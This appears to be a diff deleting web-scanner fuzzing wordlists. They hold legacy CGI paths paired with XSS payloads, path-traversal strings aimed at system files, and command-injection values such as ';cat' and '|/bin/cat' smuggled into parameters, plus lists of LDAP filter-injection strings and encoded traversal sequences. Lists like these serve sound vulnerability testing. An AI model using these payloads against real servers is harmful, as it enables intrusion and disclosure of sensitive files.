||||
csh
|
||||
cstat.pl
|
||||
cutecast/members/
|
||||
cvsblame.cgi?file=<script>alert('XSS')</script>
|
||||
cvslog.cgi?file=*&rev=&root=<script>alert('XSS')</script>
|
||||
cvslog.cgi?file=<script>alert('XSS')</script>
|
||||
cvsquery.cgi?branch=<script>alert('XSS')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>
|
||||
cvsquery.cgi?module=<script>alert('XSS')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week
|
||||
cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('XSS')</script>&branch=HEAD
|
||||
dansguardian.pl?DENIEDURL=</a><script>alert('XSS');</script>
|
||||
dasp/fm_shell.asp
|
||||
data/fetch.php?page=
|
||||
date
|
||||
day5datacopier.cgi
|
||||
day5datanotifier.cgi
|
||||
db2www/library/document.d2w/show
|
||||
db4web_c/dbdirname/{KNOWNFILE}
|
||||
db_manager.cgi
|
||||
dbman/db.cgi?db=no-db
|
||||
dcforum.cgi?az=list&forum=../../../../../../../../../..{KNOWNFILE}%00
|
||||
dcshop/auth_data/auth_user_file.txt
|
||||
dcshop/orders/orders.txt
|
||||
dfire.cgi
|
||||
diagnose.cgi
|
||||
dig.cgi
|
||||
directorypro.cgi?want=showcat&show=../../../../../../../../../..{KNOWNFILE}%00
|
||||
displayTC.pl
|
||||
dnewsweb
|
||||
donothing
|
||||
dose.pl?daily&somefile.txt&|ls|
|
||||
download.cgi
|
||||
dumpenv.pl
|
||||
edit.pl
|
||||
empower?DB=whateverwhatever
|
||||
emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
enter.cgi
|
||||
environ.cgi
|
||||
environ.pl
|
||||
environ.pl?param1=<script>alert(document.cookie)</script>
|
||||
erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E
|
||||
eshop.pl/seite=;cat%20eshop.pl|
|
||||
ex-logger.pl
|
||||
excite
|
||||
excite;IF
|
||||
ezadmin.cgi
|
||||
ezboard.cgi
|
||||
ezman.cgi
|
||||
ezshopper/loadpage.cgi?user_id=1&file=|cat%20{KNOWNFILE}|
|
||||
ezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../..{KNOWNFILE}&distinct=1
|
||||
ezshopper2/loadpage.cgi
|
||||
ezshopper3/loadpage.cgi
|
||||
faqmanager.cgi?toc={KNOWNFILE}%00
|
||||
faxsurvey?cat%20{KNOWNFILE}
|
||||
filemail
|
||||
filemail.pl
|
||||
finger
|
||||
finger.pl
|
||||
flexform
|
||||
flexform.cgi
|
||||
fom.cgi?file=<script>alert('XSS')</script>
|
||||
fom/fom.cgi?cmd=<script>alert('XSS')</script>&file=1&keywords=vulnerable
|
||||
formmail
|
||||
formmail.cgi
|
||||
formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&email=joeuser@localhost&subject=test
|
||||
formmail.pl
|
||||
formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&email=joeuser@localhost&subject=test
|
||||
formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&email=joeuser@localhost&subject=test
|
||||
fortune
|
||||
ftp.pl
|
||||
ftpsh
|
||||
gH.cgi
|
||||
gbadmin.cgi?action=change_adminpass
|
||||
gbadmin.cgi?action=change_automail
|
||||
gbadmin.cgi?action=colors
|
||||
gbadmin.cgi?action=setup
|
||||
gbook/gbook.cgi?_MAILTO=xx;ls
|
||||
gbpass.pl
|
||||
generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1
|
||||
generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1
|
||||
generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1
|
||||
getdoc.cgi
|
||||
gettransbitmap
|
||||
glimpse
|
||||
gm-authors.cgi
|
||||
gm-cplog.cgi
|
||||
gm.cgi
|
||||
guestbook.cgi
|
||||
guestbook.cgi?user=cpanel&template=|/bin/cat%20{KNOWNFILE}|
|
||||
guestbook.pl
|
||||
guestbook/passwd
|
||||
handler.cgi
|
||||
hitview.cgi
|
||||
horde/test.php
|
||||
horde/test.php?mode=phpinfo
|
||||
hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00
|
||||
htgrep?file=index.html&hdr={KNOWNFILE}
|
||||
html2chtml.cgi
|
||||
html2wml.cgi
|
||||
htmlscript?../../../../../../../../../..{KNOWNFILE}
|
||||
htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E
|
||||
htsearch?-c/nonexistant
|
||||
htsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=
|
||||
htsearch?exclude=%60{KNOWNFILE}%60
|
||||
ibill.pm
|
||||
icat
|
||||
if/admin/nph-build.cgi
|
||||
ikonboard/help.cgi?
|
||||
imageFolio.cgi
|
||||
imagefolio/admin/admin.cgi
|
||||
imagemap
|
||||
include/new-visitor.inc.php
|
||||
index.js0x70
|
||||
index.pl
|
||||
info2www
|
||||
info2www '(../../../../../../../bin/mail root <{KNOWNFILE}>
|
||||
infosrch.cgi
|
||||
ion-p?page=../../../../..{KNOWNFILE}
|
||||
jailshell
|
||||
jj
|
||||
journal.cgi?folder=journal.cgi%00
|
||||
ksh
|
||||
lastlines.cgi?process
|
||||
listrec.pl
|
||||
loadpage.cgi?user_id=1&file=../../../../../../../../../..{KNOWNFILE}
|
||||
loadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
|
||||
log-reader.cgi
|
||||
log/
|
||||
log/nether-log.pl?checkit
|
||||
login.cgi
|
||||
login.pl
|
||||
login.pl?course_id=\
|
||||
logit.cgi
|
||||
logs.pl
|
||||
logs/
|
||||
logs/access_log
|
||||
logs/error_log
|
||||
lookwho.cgi
|
||||
ls
|
||||
lwgate
|
||||
lwgate.cgi
|
||||
magiccard.cgi?pa=3Dpreview&next=3Dcustom&page=3D../../../../../../../../../..{KNOWNFILE}
|
||||
mail
|
||||
mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../..{KNOWNFILE}%00
|
||||
mailit.pl
|
||||
maillist.cgi
|
||||
maillist.pl
|
||||
mailnews.cgi
|
||||
main.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../..{KNOWNFILE}
|
||||
majordomo.pl
|
||||
man2html
|
||||
mastergate/search.cgi?search=0&search_on=all
|
||||
meta.pl
|
||||
mgrqcgi
|
||||
mini_logger.cgi
|
||||
mmstdod.cgi
|
||||
moin.cgi?test
|
||||
mojo/mojo.cgi
|
||||
mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}
|
||||
mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
mrtg.cgi?cfg=blah
|
||||
ms_proxy_auth_query/
|
||||
mt-static/
|
||||
mt-static/mt-check.cgi
|
||||
mt-static/mt-load.cgi
|
||||
mt-static/mt.cfg
|
||||
mt/
|
||||
mt/mt-check.cgi
|
||||
mt/mt-load.cgi
|
||||
mt/mt.cfg
|
||||
multihtml.pl?multi={KNOWNFILE}%00html
|
||||
musicqueue.cgi
|
||||
myguestbook.cgi?action=view
|
||||
namazu.cgi
|
||||
nbmember.cgi?cmd=list_all_users
|
||||
netauth.cgi?cmd=show&page=../../../../../../../../../..{KNOWNFILE}
|
||||
netpad.cgi
|
||||
newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}
|
||||
nimages.php
|
||||
nlog-smb.cgi
|
||||
nlog-smb.pl
|
||||
non-existent.pl
|
||||
noshell
|
||||
nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
nph-error.pl
|
||||
nph-exploitscanget.cgi
|
||||
nph-maillist.pl
|
||||
nph-publish
|
||||
nph-publish.cgi
|
||||
nph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0
|
||||
nph-test-cgi
|
||||
ntitar.pl
|
||||
opendir.php?{KNOWNFILE}
|
||||
orders/orders.txt
|
||||
pagelog.cgi
|
||||
pals-cgi?palsAction=restart&documentName={KNOWNFILE}
|
||||
parse-file
|
||||
pass
|
||||
passwd
|
||||
passwd.txt
|
||||
password
|
||||
pbcgi.cgi?name=Joe%Camel&email=%3C
|
||||
perl
|
||||
perl?-v
|
||||
perlshop.cgi
|
||||
pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'
|
||||
pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}
|
||||
pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'
|
||||
phf
|
||||
phf.cgi?QALIA
|
||||
phf?Qname=root%0Acat%20{KNOWNFILE}%20
|
||||
photo/
|
||||
photo/manage.cgi
|
||||
photo/protected/manage.cgi
|
||||
php-cgi
|
||||
php.cgi?{KNOWNFILE}
|
||||
plusmail
|
||||
pollit/Poll_It_
|
||||
pollssi.cgi
|
||||
post-query
|
||||
post_query
|
||||
postcards.cgi
|
||||
powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}
|
||||
printenv
|
||||
printenv.tmp
|
||||
probecontrol.cgi?command=enable&username=cancer&password=killer
|
||||
processit.pl
|
||||
profile.cgi
|
||||
pu3.pl
|
||||
publisher/search.cgi?dir=jobs&template=;cat%20{KNOWNFILE}|&output_number=10
|
||||
query
|
||||
query?mss=%2e%2e/config
|
||||
quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&cart_id=
|
||||
quikstore.cfg
|
||||
quizme.cgi
|
||||
r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}
|
||||
ratlog.cgi
|
||||
redirect
|
||||
register.cgi
|
||||
replicator/webpage.cgi/
|
||||
responder.cgi
|
||||
retrieve_password.pl
|
||||
rksh
|
||||
rmp_query
|
||||
robadmin.cgi
|
||||
robpoll.cgi
|
||||
rpm_query
|
||||
rsh
|
||||
rtm.log
|
||||
rwcgi60
|
||||
rwcgi60/showenv
|
||||
rwwwshell.pl
|
||||
sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1
|
||||
sawmill?rfcf+%22
|
||||
sbcgi/sitebuilder.cgi
|
||||
scoadminreg.cgi
|
||||
scripts/*%0a.pl
|
||||
search.cgi
|
||||
search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini
|
||||
search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
|
||||
search.php?searchstring=<script>alert(document.cookie)</script>
|
||||
search.pl
|
||||
search.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&;Rank=<script>alert('XSS')</script>
|
||||
search.pl?form=../../../../../../../../../..{KNOWNFILE}%00
|
||||
search/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc
|
||||
sendform.cgi
|
||||
sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message
|
||||
sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}
|
||||
session/adminlogin
|
||||
sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}
|
||||
sh
|
||||
shop.cgi?page=../../../../../../..{KNOWNFILE}
|
||||
shop.pl/page=;cat%20shop.pl|
|
||||
shop/auth_data/auth_user_file.txt
|
||||
shop/orders/orders.txt
|
||||
shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}
|
||||
shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20{KNOWNFILE}|
|
||||
show.pl
|
||||
showcheckins.cgi?person=<script>alert('XSS')</script>
|
||||
showuser.cgi
|
||||
simple/view_page?mv_arg=|cat%20{KNOWNFILE}|
|
||||
simplestguest.cgi
|
||||
simplestmail.cgi
|
||||
smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|
|
||||
smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|
|
||||
sojourn.cgi?cat=../../../../../../../../../../etc/password%00
|
||||
spin_client.cgi?aaaaaaaa
|
||||
ss
|
||||
sscd_suncourier.pl
|
||||
ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}
|
||||
start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E
|
||||
stat.pl
|
||||
stat/
|
||||
stats-bin-p/reports/index.html
|
||||
stats.pl
|
||||
stats.prf
|
||||
stats/
|
||||
stats/statsbrowse.asp?filepath=c:\&Opt=3
|
||||
stats_old/
|
||||
statsconfig
|
||||
statusconfig.pl
|
||||
statview.pl
|
||||
store.cgi?
|
||||
store/agora.cgi?cart_id=<script>alert('XSS')</script>
|
||||
store/agora.cgi?page=whatever33.html
|
||||
store/index.cgi?page=../../../../../../../..{KNOWNFILE}
|
||||
story.pl?next=../../../../../../../../../..{KNOWNFILE}%00
|
||||
story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00
|
||||
survey
|
||||
survey.cgi
|
||||
sws/admin.html
|
||||
sws/manager.pl
|
||||
tablebuild.pl
|
||||
talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&action=view&matchview=1
|
||||
tcsh
|
||||
technote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../..{KNOWNFILE}
|
||||
test-cgi.tcl
|
||||
test-cgi?/*
|
||||
test-env
|
||||
test.cgi
|
||||
test/test.cgi
|
||||
texis/junk
|
||||
texis/phine
|
||||
textcounter.pl
|
||||
tidfinder.cgi
|
||||
tigvote.cgi
|
||||
title.cgi
|
||||
tpgnrock
|
||||
traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
troops.cgi
|
||||
ttawebtop.cgi/?action=start&pg=../../../../../../../../../..{KNOWNFILE}
|
||||
ultraboard.cgi
|
||||
ultraboard.pl
|
||||
unlg1.1
|
||||
unlg1.2
|
||||
update.dpgs
|
||||
upload.cgi
|
||||
uptime
|
||||
urlcount.cgi?%3CIMG%20
|
||||
ustorekeeper.pl?command=goto&file=../../../../../../../../../..{KNOWNFILE}
|
||||
utm/admin
|
||||
utm/utm_stat
|
||||
view-source
|
||||
view-source?view-source
|
||||
view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00
|
||||
viewcvs.cgi/viewcvs/?cvsroot=<script>alert('XSS')</script>
|
||||
viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\
|
||||
viewlogs.pl
|
||||
viewsource?{KNOWNFILE}
|
||||
viralator.cgi
|
||||
virgil.cgi
|
||||
vote.cgi
|
||||
vpasswd.cgi
|
||||
vq/demos/respond.pl?<script>alert('XSS')</script>
|
||||
w3-msql
|
||||
w3-sql
|
||||
wais.pl
|
||||
way-board.cgi?db={KNOWNFILE}%00
|
||||
way-board/way-board.cgi?db={KNOWNFILE}%00
|
||||
webais
|
||||
webbbs.cgi
|
||||
webbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20{KNOWNFILE}
|
||||
webcart/webcart.cgi?CONFIG=mountain&CHANGE=YE
|
||||
webdist.cgi?distloc=;cat%20{KNOWNFILE}
|
||||
webdriver
|
||||
webgais
|
||||
webif.cgi
|
||||
webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
webmap.cgi
|
||||
webnews.pl
|
||||
webplus?about
|
||||
webplus?script=../../../../../../../../../..{KNOWNFILE}
|
||||
websendmail
|
||||
webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}
|
||||
webutil.pl
|
||||
webutils.pl
|
||||
webwho.pl
|
||||
where.pl?sd=ls%20/etc
|
||||
whois.cgi?action=load&whois=%3Bid
|
||||
whois.cgi?lookup=;&ext=/bin/cat%20{KNOWNFILE}
|
||||
whois/whois.cgi?lookup=;&ext=/bin/cat%20{KNOWNFILE}
|
||||
whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}
|
||||
windmail
|
||||
wrap
|
||||
wrap.cgi
|
||||
ws_ftp.ini
|
||||
www-sql
|
||||
wwwadmin.pl
|
||||
wwwboard.cgi.cgi
|
||||
wwwboard.pl
|
||||
wwwstats.pl
|
||||
wwwthreads/3tvars.pm
|
||||
wwwthreads/w3tvars.pm
|
||||
wwwwais
|
||||
zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00
|
||||
zsh
|
||||
|
|
@ -1,14 +0,0 @@
|
|||
|
|
||||
!
|
||||
(
|
||||
)
|
||||
&
|
||||
!
|
||||
|
|
||||
*|
|
||||
*(|(mail=*))
|
||||
*(|(objectclass=*))
|
||||
*()|&'
|
||||
admin*
|
||||
admin*)((|userpassword=*)
|
||||
*)(uid=*))(|(uid=*
|
||||
|
|
@ -1,26 +0,0 @@
|
|||
%ALLUSERSPROFILE%
|
||||
%APPDATA%
|
||||
%COMPUTERNAME%
|
||||
%COMSPEC%
|
||||
%HOMEDRIVE%
|
||||
%HOMEPATH%
|
||||
%PATH%
|
||||
%PATHEXT%
|
||||
%PROGRAMFILES%
|
||||
%PROMPT%
|
||||
%SYSTEMDRIVE%
|
||||
%SYSTEMROOT%
|
||||
%TEMP%
|
||||
%TMP%
|
||||
%USERNAME%
|
||||
%USERPROFILE%
|
||||
%WINDIR%
|
||||
%DATE%
|
||||
%TIME%
|
||||
%CD%
|
||||
%ERRORLEVEL%
|
||||
%RANDOM%
|
||||
%CommonProgramFiles%
|
||||
%LOCALAPPDATA%
|
||||
%ProgramData%
|
||||
%Public%
|
||||
|
|
@ -1,879 +0,0 @@
|
|||
../{FILE}
|
||||
../../{FILE}
|
||||
../../../{FILE}
|
||||
../../../../{FILE}
|
||||
../../../../../{FILE}
|
||||
../../../../../../{FILE}
|
||||
../../../../../../../{FILE}
|
||||
../../../../../../../../{FILE}
|
||||
..%2f{FILE}
|
||||
..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
..%252f{FILE}
|
||||
..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
..\{FILE}
|
||||
..\..\{FILE}
|
||||
..\..\..\{FILE}
|
||||
..\..\..\..\{FILE}
|
||||
..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\..\{FILE}
|
||||
..\..\..\..\..\..\..\..\{FILE}
|
||||
..%255c{FILE}
|
||||
..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
..%c0%af{FILE}
|
||||
..%c0%af..%c0%af{FILE}
|
||||
..%c0%af..%c0%af..%c0%af{FILE}
|
||||
..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
..%25c0%25af{FILE}
|
||||
..%25c0%25af..%25c0%25af{FILE}
|
||||
..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
